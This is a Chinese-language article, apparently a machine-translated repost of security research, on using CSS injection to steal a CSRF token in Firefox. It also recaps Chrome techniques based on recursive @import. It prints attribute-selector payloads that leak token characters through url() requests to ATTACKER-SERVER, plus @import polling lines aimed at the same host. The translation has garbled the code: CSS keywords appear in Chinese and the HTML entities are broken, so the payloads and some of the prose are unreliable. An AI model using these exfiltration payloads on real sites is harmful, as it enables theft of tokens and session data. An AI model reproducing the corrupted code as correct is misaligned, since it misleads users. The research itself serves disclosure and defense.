在Firefox浏览器中如何利用CSS窃取数据

  介绍

这篇文章主要介绍了在Firefox浏览器中如何利用CSS窃取数据,具有一定借鉴价值,感兴趣的朋友可以参考下,希望大家阅读完这篇文章之后大有收获、下面让小编带着大家一起了解一下。

0 x00前言

几个月之前,我在Firefox中找到了一个漏洞(cve - 2019 - 17016)。在研究过程中,我发现了在Firefox浏览器中利用CSS的一种数据窃取技术,可以通过单个注入点窃取数据,这里我想与大家一起分享相关研究成果。

0 x01背景知识

为了演示方便,这里假设我们想窃取<代码> & lt; input> 元素中的CSRF令牌。

& lt; input 类型=癶idden", name=癱srftoken", value=https://www.yisu.com/zixun/" SOME_VALUE ">

我们无法使用脚本(可能是因为CSP),因此想寻找基于样式的注入方法。传统方法是使用属性选择器,如下所示:

输入[name=& # 39; csrftoken& # 39;][值^=& # 39;一个# 39;],{   背景:才能,url (//ATTACKER-SERVER/泄漏/);   }   输入[name=& # 39; csrftoken& # 39;][值^=& # 39;b # 39;], {   背景:才能,url (//ATTACKER-SERVER/泄漏/b);   }   …   输入[name=& # 39; csrftoken& # 39;][值^=& # 39;z # 39;], {   背景:才能,url (//ATTACKER-SERVER/泄漏/z);   }

如果应用了CSS规则,那么攻击者就能收到HTTP请求,从而获取到令牌的第1个字符。随后,攻击者需要准备另一个样式表,其中包含已窃取的第1个字符,如下所示:

输入[name=& # 39; csrftoken& # 39;][值^=& # 39;aa # 39;], {   背景:才能,url (//ATTACKER-SERVER/泄漏/aa);   }   输入[name=& # 39; csrftoken& # 39;][值^=& # 39;ab # 39;], {   背景:才能,url (//ATTACKER-SERVER/泄漏/ab);   }   …   输入[name=& # 39; csrftoken& # 39;][值^=& # 39;az # 39;], {   背景:才能,url (//ATTACKER-SERVER/泄漏/az);   }

通常情况下,攻击者需要重新加载<代码> & lt; iframe>

在2018年,佩佩维拉提出了一个非常不错的想法,可以在Chrome浏览器中滥用CSS递归进口方式,通过单个注入点完成相同任务。在2019年,Nathanial Lattimer (@d0nutptr)重新提出了相同技巧,但稍微做了点改动。下面我稍微总结一下Lattimer的方法,这种方法与本文的思想比较接近(但我在此次研究过程中并不了解Lattimer之前的成果,因此可能有人会认为我在重复造轮子)。

简而言之,第一次注入用到了一堆进口:<代码>

@import  url (//ATTACKER-SERVER/轮询? len=0);   @import  url (//ATTACKER-SERVER/轮询? len=1);   @import  url (//ATTACKER-SERVER/轮询? len=2);   …

核心思想如下:

1,在一开始,只有第1个<代码> @ import>

2,第1个<代码> @ import>

3,当泄露的第1个令牌到达<代码> ATTACKER-SERVER> 停止阻塞,返回包含第1个字符的样式表,尝试泄露第2个字符。

4,当第2个泄露字符到达<代码> ATTACKER-SERVER> 进口停止阻塞,白马王子,白马王子以此类推。

这种技术之所以行之有效,是因为Chrome会采用异步方式处理<代码> 进口,因此当任何<代码> 进口停止阻塞时,Chrome会立即解析该语句并应用规则。

0 x02 Firefox及样式表处理

前面提到的方法并不适用于Firefox、Chrome与浏览器相比,Firefox对样式表的处理方式大不相同。这里我以几个案例来说明其中差异。

首先,火狐会采用同步方式处理样式表,因此,当样式表中有多个<代码> 进口时,只有当所有<代码> 都进口处理完毕时,Firefox才会应用CSS规则。考虑如下案例:

& lt; style>   @import  & # 39;/调查/0 & # 39;;   @import  & # 39;/调查/1 & # 39;;   @import  & # 39;/调查/2 & # 39;;   & lt;/style>

假设第1个<代码> @ import> 进口处于阻塞状态(比如永远不会返回任何内容,会挂起HTTP连接)。在Chrome浏览器中,页面会立即变为蓝色,而在Firefox中并不会有任何反应。

我们可以将所有<代码> 放进口在独立的<代码> & lt; style> 元素中,从而解决该问题:

& lt; style> @import  & # 39;/调查/0 & # 39;;& lt;/style>   & lt; style> @import  & # 39;/调查/1 & # 39;;& lt;/style>   & lt; style> @import  & # 39;/调查/2 & # 39;;& lt;/style>

在Firefox浏览器中如何利用CSS窃取数据